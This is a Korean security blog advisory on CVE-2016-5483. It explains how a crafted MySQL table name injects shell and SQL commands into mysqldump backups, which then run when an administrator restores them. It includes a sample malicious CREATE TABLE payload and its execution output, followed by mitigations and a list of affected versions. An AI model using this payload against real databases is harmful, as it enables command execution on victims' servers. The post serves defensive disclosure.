mysqldump 백업을 이용한 백도어 생성가능한 취약점 (CVE-2016-5483)
mysqldump는 MySQL DB에서 논리적 백업을 할 때 사용하는 툴 중 하나로, 기본설정조건에서 .sql 문서로 생성됩니다. 그 중에는 테이블 생성/삭제 및 데이터 입력 등의 기능도 포함되어 있습니다. 덤프파일에서 파일을 복원하는 과정에서, 공격자는 악의적으로 생성된 테이블이름을 통하여 임의의 SQL 검색쿼리와 shell명령을 이용하여 자신의 목적을 달성할 수 있습니다. (▶ 자세히 보기)
공격시나리오
공격자는 이미 희생자의 응용프로그램에 접근할 수 있으며, 임의의 SQL쿼리문을 실행할 수 있습니다.
공격자는 테이블 생성에 관한 권한을 갖고 있습니다.
공격타겟은 mysqldump를 통하여 주기적으로 데이터를 백업합니다.
공격자는 권한상승을 통하여 시스템에 더 많은 권한을 획득합니다.
공격샘플
우선 공격자는 다음과 같은 쿼리문을 이용하여 악성 테이블을 생성합니다.
CREATE TABLE `evil
\! id
select user(),@@version/*` (test text);
일반적으로 백업작업들은 일반적으로 실행될때마다 각 테이블에 엔트리가 포함된 덤프파일들을 생성합니다.
--
-- Table structure for table `tablename`
--
하지만 공격자가 생성한 악성 테이블을 사용하면 엔트리를 다음과 같이 변경할 수 있습니다.
--
-- Table structure for table `evil
\! id
select user(),@@version/*`
--
지금처럼 볼 수 있듯이, 테이블 중의 새로운 라인은 공격자가 어느 라인에나 MySQL명령을 추가할 수 있도록 허용합니다. 일단 공격 페이로드가 성공적으로 실행되면, 다음과같은 작업을 합니다.
- 만약 mysql 명령줄 클라이언트에 인해 import 된 것이라면, sh를 통하여 id명령을 실행합니다.
- 임의의 쿼리문을 실행하여 MySQL 사용자 이름과 서버 버전정보를 알아낼 수 있습니다.
공격자는 DB중 몇몇 DB를 삭제하고, 랜덤으로 깨진 Unicode 부호를 삽입하여 DB 오류를 발생시킵니다. 시스템 관리자가 이를 발견하고 백업 파일에서 데이터를 복구시키려고 할 것입니다. 만약 데이터가 복구되면, 공격페이로드도 함께 실행이 되는 것입니다.
$ mysql test < backup.sql
uid=0(root) gid=0(root) groups=0(root) <-- 공격자의 shell명령
user() @@version
root@localhost 10.1.18-MariaDB <-- 공격자의 SQL 쿼리
공격자는 관리자에게 백업 DB 복구를 유도하여 악성코드를 성공적으로 실행시켰습니다.
완화조치
mysqldump 명령어를 사용할 떄 --skip-comments 함수 사용
공격 가능한 곳의 테이블 생성권한 제거
백업 시 테이블의 구조가 아닌 DB의 데이터만 백업
다른 MySQL DB백업툴 사용
영향받는버전
종류 |
영향받는 버전 |
최근 업데이트 |
MySQL |
모든버전 |
2016. 10. 17 |
MariaDB |
5.5.52 이하 혹은 10.1 미만 버전 |
2017. 03. 09 |
Percona |
모든버전 |
2016. 10. 17 |
출처 :
https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-backups/
구글, 플레이 스토어에서 가장 큰 애드웨어 패밀리 제거해 (0) | 2017.03.15 |
---|---|
DVR 제조기업인 Dahua Technology 제품에서 백도어 발견! (0) | 2017.03.15 |
도세(都税)지불 사이트에서 신용카드 정보 67.6만건이 유출된 것으로 추정 (0) | 2017.03.13 |
WikiLeaks가 CIA의 해킹툴 및 기능에 대한 세부 정보 공개해 (0) | 2017.03.10 |
Apache Struts 버전확인 및 업데이트 방법 (0) | 2017.03.10 |
댓글 영역